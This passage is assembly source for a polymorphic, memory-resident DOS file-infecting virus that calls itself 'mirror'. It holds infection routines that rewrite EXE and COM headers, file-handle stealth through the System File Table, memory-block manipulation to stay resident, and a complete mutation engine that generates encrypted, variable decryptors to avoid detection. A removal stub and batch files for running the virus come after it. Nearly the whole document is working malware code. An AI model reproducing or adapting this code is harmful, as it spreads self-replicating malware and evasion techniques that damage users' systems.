- sub ax,ds:HeaderSize
- mov ds:ExeCS,ax
- mov ds:ExeIP,dx
- mov dx,ds:TotalSize
- mov ds:Signature,dx
- mov cl,4
- shr dx,cl
- inc dx
- add ax,dx
- mov ds:ExeSS,ax
- mov ds:ExeSP,400h
- call CalcImageSize
- add ax,ds:TotalSize
- adc dx,0
- call SplitImageSize
- mov ax,(MemorySize - VirusSize + 3fh) / 10h
- add ax,ds:MinMem
- mov ds:MinMem,ax
- cmp ds:MaxMem,ax
- jae ComFileHeader
- mov ds:MaxMem,ax
- ComFileHeader: call CalcImageSize
- jnc HeaderOk
- sub ax,3
- mov ds:JumpOpcode,0e9h
- mov ds:JumpDisp,ax
- HeaderOk: ret
-
- SplitImageSize: mov cx,200h
- and dx,0fh
- div cx
- mov ds:PartPage,dx
- add dx,-1
- adc ax,0
- mov ds:PageCount,ax
- ret
-
- FindHandle: push ax
- push cx
- push ds
- push cs
- pop ds
- mov ax,bx
- cmp bx,-1
- je EmptyHandle
- call GetSFTindex
- jc HandleNotFound
- EmptyHandle: mov cx,MaxFiles
- mov si,offset FileTable - FileTableEntry
- NextHandle: add si,FileTableEntry
- cmp ds:[si],ax
- loopne NextHandle
- pushf
- jne SpeedUp
- cmp ax,-1
- je SpeedUp
- push dx
- push si
- push di
- push es
- push cs
- pop es
- cld
- lodsw
- push ax
- lodsw
- mov ds:FileSizeL,ax
- lodsw
- mov ds:FileSizeH,ax
- inc si
- mov di,offset Header
- rep movsb
- pop ax
- call FindSFT
- mov cx,19h
- mov di,offset SFT_Entry
- rep movsb
- pop es
- pop di
- call MutationParms
- pop si
- pop dx
- SpeedUp: popf
- HandleNotFound: pop ds
- pop cx
- pop ax
- ret
-
- MutationParms: push cs
- pop ds
- mov ax,ds:FileSizeL
- mov cx,ax
- add cx,ds:FileSizeH
- mov ds:Randomize,cx
- mov cx,VirusSize + 20h
- add al,cl
- neg al
- add al,0ddh
- xor ah,ah
- add cx,ax
- mov ds:TotalSize,cx
- and al,3fh
- add al,20h
- sub cx,ax
- mov ds:CodeSize,cx
- mov ds:DecryptorSize,ax
- call CalcImageSize
- jnc ExeOffset
- add ax,100h
- mov dx,300h + ComID
- jmp SetOffset
- ExeOffset: and ax,00fh
- mov dx,000h + ExeID
- SetOffset: mov ds:DecryptorOfs,ax
- mov ds:ComExe,dl
- mov ds:MutationFlags,dh
- ret
-
- CalcImageSize: cmp cs:Header,"MZ"
- je ExeFileHeader
- cmp cs:Header,"ZM"
- je ExeFileHeader
- mov ax,1234h
- FileSizeL equ word ptr [$ - VirusTop - 2]
- mov dx,1234h
- FileSizeH equ word ptr [$ - VirusTop - 2]
- stc
- ret
- ExeFileHeader: mov ax,cs:PageCount
- mov cx,cs:PartPage
- jcxz ExactPage
- dec ax
- ExactPage: mov dx,200h
- mul dx
- add ax,cx
- clc
- ret
-
- SetMCB: mov ds:[bx+3],cx
- mov cl,"M"
- xchg cl,ds:[bx]
- mov ds,ax
- mov ds:[bx],cl
- mov ds:[bx+1],bx
- mov ds:[bx+3],dx
- ret
-
- FindMCB: mov ax,1234h
- FirstMCB equ word ptr [$ - VirusTop - 2]
- xor bx,bx
- mov cx,cs
- dec cx
- FindNext: mov ds,ax
- mov dx,ax
- inc ax
- add ax,ds:[bx+3]
- cmp ax,cx
- jb FindNext
- ret
-
- ;*****************************************************************************;
- ; ;
- ; Mutation engine ;
- ; ;
- ;*****************************************************************************;
- ; ;
- ; Entry: Randomize = Random Number ;
- ; DecryptorOfs = Decryptor offset (Not needed for decryption) ;
- ; CodeSize = Code size ;
- ; MutationFlags = bit 0: assume decryptor ds=cs (com-files) ;
- ; bit 1: assume decryptor ss=cs (com-files) ;
- ; bit 7: decrypt mutated virus (stealth) ;
- ; DecryptorSize = Decryptor size ;
- ; ;
- ; cs:[VirusTop] = Code (Not needed for decryption) ;
- ; cs:[Buffer] = Buffer (Mutated virus) ;
- ; ;
- ;*****************************************************************************;
-
- Mutate: push bx
- push di
- push ds
- push es
- push cs
- pop es
- push cs
- pop ds
- mov cx,1234h
- CodeSize equ word ptr [$ - VirusTop - 2]
- mov di,offset Buffer
- push cx ; save cx for later use.
- call InitMutate ; generate decryptor
- pop cx ; restore cx
- test ds:MutationFlags,80h ; 0=encryption, 80h=decryption
- jnz EncryptDecrypt
- xor si,si
- cld ; copy the code that must be
- rep movsb ; encrypted
-
- Param1 equ word ptr [$ - VirusTop + 1]
- Param2 equ word ptr [$ - VirusTop + 4]
- Param3 equ word ptr [$ - VirusTop + 0ah]
- Param4 equ word ptr [$ - VirusTop + 13h]
- Param5 equ word ptr [$ - VirusTop + 17h]
-
- EncryptOpcode equ byte ptr [$ - VirusTop + 10h]
- CompareOpcode equ byte ptr [$ - VirusTop + 15h]
- ConditionOpcode equ byte ptr [$ - VirusTop + 19h]
- AddOpcode equ byte ptr [$ - VirusTop + 0eh]
-
- EncryptDecrypt: mov bx,1234h ; 0000 BB ?? ??
- mov ax,1234h ; 0003 B8 ?? ??
- Repeat: mov dx,bx ; 0006 89 DA
- add bx,1234h ; 0008 81 C3 ?? ??
- mov cx,ax ; 000C 89 C1
- add ax,bx ; 000E 01 D8
- add cs:[bx+1234h],bl ; 0010 2E 00 9F ?? ??
- sub bx,1234h ; 0015 81 EB ?? ??
- jnz Repeat ; 0019 75 EF
- pop es
- pop ds
- pop di
- pop bx
- MutationDone: ret
-
- JumpTable equ word ptr [$ - VirusTop]
- dw InitReg - VirusTop ; 3 bytes ; 1 cl&02
- dw SetDestenation - VirusTop ; 0 bytes ; 2 cl&03
- dw IncReg - VirusTop ; 4 bytes ; 3 cl&08
- dw MoveIndex - VirusTop ; 2 bytes ; 4 cl&10
- dw Memory - VirusTop ; 5 bytes ; 5 cl&20
- dw Compare - VirusTop ; 6 bytes ; 6 cl&40
- dw PrefetchFix - VirusTop ; 2 bytes ; 7 cl&80
-
- TrashTable equ word ptr [$ - VirusTop]
- dw IncDecTrash - VirusTop ; 1 byte ; 1
- dw ZeroReg - VirusTop ; 2 bytes ; 2
- dw JumpTrash - VirusTop ; 2 bytes ; 3
- dw InitTrash - VirusTop ; 3 bytes ; 4
- dw AddSubTrash - VirusTop ; 4 bytes ; 5
- dw MemoryTrash - VirusTop ; 5 bytes ; 6
- dw MoveTrash - VirusTop ; 2 bytes ; 7
-
- OpcodeTable equ byte ptr [$ - VirusTop]
- db 00h,28h,30h,30h
- db 79h,78h,75h,75h
-
- MoveIndex: xor cl,30h
- sub ch,2
- Registers equ word ptr [$ - VirusTop + 1]
- IndexReg equ byte ptr [$ - VirusTop + 1]
- CounterReg equ byte ptr [$ - VirusTop + 2]
- db 0bbh,?,?
- push cx
- xchg ax,cx
- mov cx,0c089h
- cmp bl,bh
- jne MakeMove
- mov ds:FlagsOk,0ebh
- CryptReg equ byte ptr [$ - VirusTop + 1]
- db 0b3h,?
- test al,08h
- mov al,0d8h
- jz SetAddOpcode
- mov al,0d0h
- SetAddOpcode: mov ds:AddOpcode[1],al
- call Random
- push bx
- and ax,3
- xchg ax,bx
- mov al,OpcodeTable[bx]
- mov ah,0c0h
- inc ax
- pop bx
- mov ds:AddOpcode,al
- xchg ax,cx
- MakeMove: call Random
- and al,2
- jnz DirectionOk
- xchg bl,bh
- DirectionOk: rol bl,1
- rol bl,1
- rol bl,1
- mov ah,bl
- or ah,bh
- or ax,cx
- stosw
- pop cx
- ret
-
- db 2
- MoveTrash: push cx
- call RandomRegFF
- and ax,0707h
- xchg ax,bx
- mov cx,0c089h
- jmp MakeMove
-
- InitMutate: mov ds:Reserved,11h
- call Random
- call ResetRegZero
- push ax
- mov bx,1234h
- DecryptorOfs equ word ptr [$ - VirusTop - 2]
- mov si,1234h
- DecryptorSize equ word ptr [$ - VirusTop - 2]
- add bx,si
- add si,di
- mov dx,bx
- mov ds:Param3,1
- mov ds:Param4,si
- mov ds:Param5,ax
- call Random
- and ax,3
- mov bx,8000h
- mov ds:JumpType,al
- dec ax
- js Ok
- xchg ax,bx
- mov ax,7fffh
- je Ok
- xor ax,ax
- xor bx,bx
- Ok: push ax
- call Random
- pop ax
- jpe Increase
- add ax,cx
- add dx,cx
- neg ds:Param3
- add ds:Param4,cx
- mov cx,1903h
- jmp Decrease
- Increase: xchg ax,bx
- sub ax,cx
- mov cx,1703h
- Decrease: mov ds:Param1,ax
- call Random
- and al,10h
- or al,0ebh
- mov ds:CmpSub,al
- mov ds:CompareOpcode[1],al
- test al,10h
- pop ax
- jnz UseCompare
- add ds:Param3,ax
- jmp Skip
- UseCompare: add ds:Param1,ax
- Skip: mov ax,ds:Param1
- sub dx,ax
- add ax,ds:Param3
- sub ds:Param4,ax
- Again: mov bx,offset JumpTable - 2
- cld
- call Choose
- call bx
- or cl,cl
- jne Again
- ret
-
- Choose: call Random
- and ax,300h
- push cx
- ChooseNext: inc ax
- ror cl,1
- sbb ah,0
- jae ChooseNext
- pop cx
- dec ax
- and ax,7
- jz Trash
- or cl,1
- add bx,ax
- add bx,ax
- mov bx,ds:[bx]
- ret
-
- Trash: inc bx
- mov ax,si
- sub ax,di
- jbe Ready
- sub al,ch
- ja NotReady
- Ready: and cl,0feh
- ret
- NotReady: push bx
- push cx
- push ds:Randomize
- mov bx,offset TrashTable - 2
- mov cl,11111110b
- mov ch,al
- call Choose
- cmp ch,ds:[bx-1]
- jae SizeOk
- mov bx,offset IncDecTrashAbs
- SizeOk: call bx
- pop ds:Randomize
- pop cx
- pop bx
- ret
-
- db 3
- InitTrash: call RandomRegFF
- or al,0b8h
- StoreRandom: stosb
- call RealRandom
- stosw
- ret
-
- InitReg: xor cl,06h
- sub ch,6
- push cx
- mov ch,00001111b
- call RandomReg
- mov ds:CounterReg,al
- mov ds:CryptReg,al
- push ax
- or al,0b8h
- stosb
- mov ax,ds:Param1
- stosw
- pop ax
- mov bx,cx
- cmp al,3
- je IndexRegOk
- GetIndexReg: mov ch,11101000b
- call RandomReg
- IndexRegOk: mov ds:IndexReg,al
- or ds:Reserved,cl
- cmp al,ds:CounterReg
- jne NoCryptReg
- mov ch,00001111b
- call RandomReg
- mov ds:CryptReg,al
- or al,0b8h
- stosb
- call Random
- mov ds:Param2,ax
- stosw
- or bl,cl
- NoCryptReg: or ds:Reserved,bl
- pop cx
- ret
-
- SetDestenation: xor cl,1ch
- sub ch,2
- mov ds:JumpDestenation,di
- ResetRegZero: mov ds:RegZero,0ffh
- jmp ResetFlagsOk
-
- db 1
- IncDecTrashAbs equ byte ptr [$ - VirusTop]
- IncDecTrash: call RandomRegFF
- and ah,8
- or al,ah
- or al,40h
- Compress1: stosb
- jmp ResetFlagsOk
-
- db 2
- FlagsOk equ byte ptr [$ - VirusTop]
- JumpTrash: jb IncDecTrash
- call RealRandom
- mov al,75h
- jpe StoreJump
- mov al,78h
- StoreJump: stosw
- ret
-
- Memory: xor cl,20h
- sub ch,5
- mov al,ds:IndexReg
- sub al,5
- ja RegOk1
- mov al,3
- jb RegOk2
- RegOk1: dec ax
- RegOk2: or al,84h
- xchg ax,bx
- call Random
- and al,4
- mov ah,ds:CryptReg
- or al,ah
- rol al,1
- rol al,1
- rol al,1
- or al,bl
- push ax
- call MemoryOpcode
- test ds:MutationFlags,80h
- jnz Decryptor
- Encryptor: xor bl,1
- Decryptor: mov al,OpcodeTable[bx]
- mov ds:EncryptOpcode[1],al
- pop ax
- stosb
- and al,20h
- or al,87h
- cmp ah,ds:CounterReg
- jne NotEqual
- or al,9fh
- NotEqual: mov ds:EncryptOpcode[2],al
- xchg ax,dx
- stosw
- SetStatus: test cl,38h
- jnz ResetFlagsOk
- or cl,40h
- ResetFlagsOk: mov ds:FlagsOk,0ebh
- ret
-
- db 2
- ZeroReg: call RandomRegFF
- not cl
- and ds:RegZero,cl
- xchg al,ah
- and al,1ah
- test al,18h
- jpo OpcodeOk
- xor al,10h
- OpcodeOk: mov cl,3
- mov ch,ah
- rol ah,cl
- or ah,ch
- or ax,0c021h
- stosw
- SetFlagsOk: mov ds:FlagsOk,072h
- ret
-
- db 5
- RegZero equ byte ptr [$ - VirusTop + 1]
- MemoryTrash: db 0b5h,?
- not ch
- and ch,0fh
- jz ZeroReg
- call RandomRegFF
- and ah,23h
- mov cl,3
- rol al,cl
- or al,84h
- or al,ah
- push ax
- call MemoryOpcode
- pop ax
- Compress2: call StoreRandom
- jmp ResetFlagsOk
-
- IncReg: xor cl,08h
- sub ch,4
- mov bx,ds:Param3
- xor ds:EncryptOpcode[2],8
- mov ax,ds:Registers
- cmp al,ah
- je Adjust
- test cl,10h
- jz DoNotAdjust
- Adjust: sub dx,bx
- DoNotAdjust: call AddSub
- jmp SetStatus
-
- Compare: sub ch,6
- xor cl,0c0h
- mov ax,ds:Param5
- CmpSub equ byte ptr [$ - VirusTop + 1]
- db 0b3h,?
- xchg ax,bx
- cmp al,0fbh
- je DoNotChange
- neg bx
- call AddSubLarge
- jmp Jump
- DoNotChange: mov ax,0f881h
- call AddSubMore
- JumpType equ byte ptr [$ - VirusTop + 1]
- Jump: db 0bbh,?,0
- mov al,ds:OpcodeTable[bx+4]
- mov ds:ConditionOpcode,al
- stosb
- JumpDestenation equ word ptr [$ - VirusTop + 1]
- db 0b8h,?,?
- sub ax,di
- dec ax
- jmp Compress1
-
- db 4
- AddSubTrash: mov al,81h
- stosb
- call RandomRegFF
- and ah,38h
- or al,0c0h
- or al,ah
- jmp Compress2
-
- PrefetchFix: or ch,ch
- je DontFix
- mov al,0ebh
- cmp ds:FlagsOk,al
- je JumpOpcodeOk
- mov al,79h
- JumpOpcodeOk: stosb
- mov ax,si
- sub ax,di
- dec ax
- jns JumpOk
- xor ax,ax
- JumpOk: stosb
- DontFix: and cx,1
- ret
-
- AddSub: cmp bx,2
- jg AddSubLarge
- cmp bx,-2
- jge AddSubSmall
- AddSubLarge: call Random
- mov ax,0c081h
- jns AddSubMore
- mov ah,0e8h
- neg bx
- AddSubMore: or ah,ds:CounterReg
- push ax
- mov al,bl
- cbw
- cmp ax,bx
- pop ax
- je AddSubByte
- AddSubWord: stosw
- xchg ax,bx
- stosw
- ret
- AddSubByte: mov al,83h
- stosw
- xchg ax,bx
- stosb
- Return: ret
- Sub1: inc bx
- mov al,48h
- AddSub1: or al,ds:CounterReg
- stosb
- AddSubSmall: or bx,bx
- je Return
- js Sub1
- Add1: dec bx
- mov al,40h
- jmp AddSub1
-
- MemoryOpcode: and al,7
- cmp al,6
- mov al,1
- jne NotBP
- mov al,2
- MutationFlags equ byte ptr [$ - VirusTop + 1]
- NotBP: db 0a8h,?
- jnz DoNotOverride
- mov al,2eh
- stosb
- DoNotOverride: call Random
- and ax,3
- xchg ax,bx
- mov al,ds:OpcodeTable[bx]
- stosb
- ret
-
- RealRandom: xor ax,ax
- out 43h,al
- call Random
- push bx
- xchg ax,bx
- in al,40h
- xchg al,ah
- in al,40h
- add ax,bx
- pop bx
- ret
-
- Random: mov ax,1234h
- Randomize equ word ptr [$ - VirusTop - 2]
- ror ax,1
- ror ax,1
- ror ax,1
- inc ax
- mov ds:Randomize,ax
- ret
-
- RandomRegFF: mov ch,0ffh
- RandomReg: call Random
- RandomRegNext: inc ax
- and al,7
- xchg ax,cx
- mov al,1
- rol al,cl
- xchg ax,cx
- Reserved equ byte ptr [$ - VirusTop + 2]
- db 0f6h,0c1h,?
- jnz RandomRegNext
- test cl,ch
- jz RandomRegNext
- or ds:RegZero,cl
- ret
-
- ;*****************************************************************************;
- ; ;
- ; Mutation engine ends here. ;
- ; ;
- ;*****************************************************************************;
-
- VirusEnd equ $
-
- MaxFiles equ 4
- FileTable equ [$ - VirusTop]
- FileTableEntry equ (HeaderLength + 7)
- db (FileTableEntry * MaxFiles) dup(?)
-
- dwa macro ident
- ident equ word ptr [$ - VirusTop]
- dw ?
- endm
-
- dba macro ident
- ident equ byte ptr [$ - VirusTop]
- db ?
- endm
-
- NewExeOfs equ dword ptr [$ - VirusTop]
- dwa NewExeOfsL
- dwa NewExeOfsH
-
- SFT_Entry equ word ptr [$ - VirusTop]
- dwa SFT_HandleCount ; 0
- dwa SFT_OpenMode ; 2
- dba SFT_Attribute ; 4
- dwa SFT_DeviceInfo ; 5
- dwa SFT_DeviceInfoOfs ; 7
- dwa SFT_DeviceInfoSeg ; 9
- dwa SFT_Cluster ; b
- dwa SFT_Time ; d
- dwa SFT_Date ; f
- dwa SFT_FileSizeL ; 11
- dwa SFT_FileSizeH ; 13
- dwa SFT_FilePosL ; 15
- dwa SFT_FilePosH ; 17
-
- StealthNames equ byte ptr [$ - VirusTop]
- db (8 * 0ah) dup(?)
-
- Buffer equ byte ptr [$ - VirusTop]
- db 120h dup(?)
-
- MemoryEnd equ $
-
- ;*****************************************************************************;
- ; ;
- ; All good things must end. This virus ends here. ;
- ; ;
- ;*****************************************************************************;
-
- code ends
-
- end EntryPoint
-
- 8<------------<remove.asm>-------------------------------------------------->8
- code segment public 'code'
- assume cs:code, ds:code, es:code
- org 100h
-
- Main: mov ah,9
- mov dx,offset Msg1
- int 21h
- mov ax,0fdc8h
- mov ds,ax
- mov si,041f9h
- cmp byte ptr ds:[si],09ah
- jne Failed
- mov byte ptr ds:[si],36h
- mov word ptr ds:[si+1],16ffh
- mov word ptr ds:[si+3],05eah
- push cs
- pop ds
- mov ah,9
- mov dx,offset Msg3
- int 21h
- jmp Exit
-
- Failed: push cs
- pop ds
- mov ah,9
- mov dx,offset Msg2
- int 21h
-
- Exit: mov ax,4c00h
- int 21h
-
- Msg1 db 'Removing mirror from memory... $'
- Msg2 db 'Failed!',13,10,'$'
- Msg3 db 'Ok!',13,10,'$'
-
- code ends
-
- end Main
-
- 8<--------------<remove.bat>------------------------------------------------>8
- @echo off
- remove
- copy c:\dos\command.com c:\virus\command.com
- 8<--------<mirror.bat>------------------------------------------------------>8
- copy c:\dos\command.com c:\virus\command.com
- set comspec=c:\virus\command.com
- mirror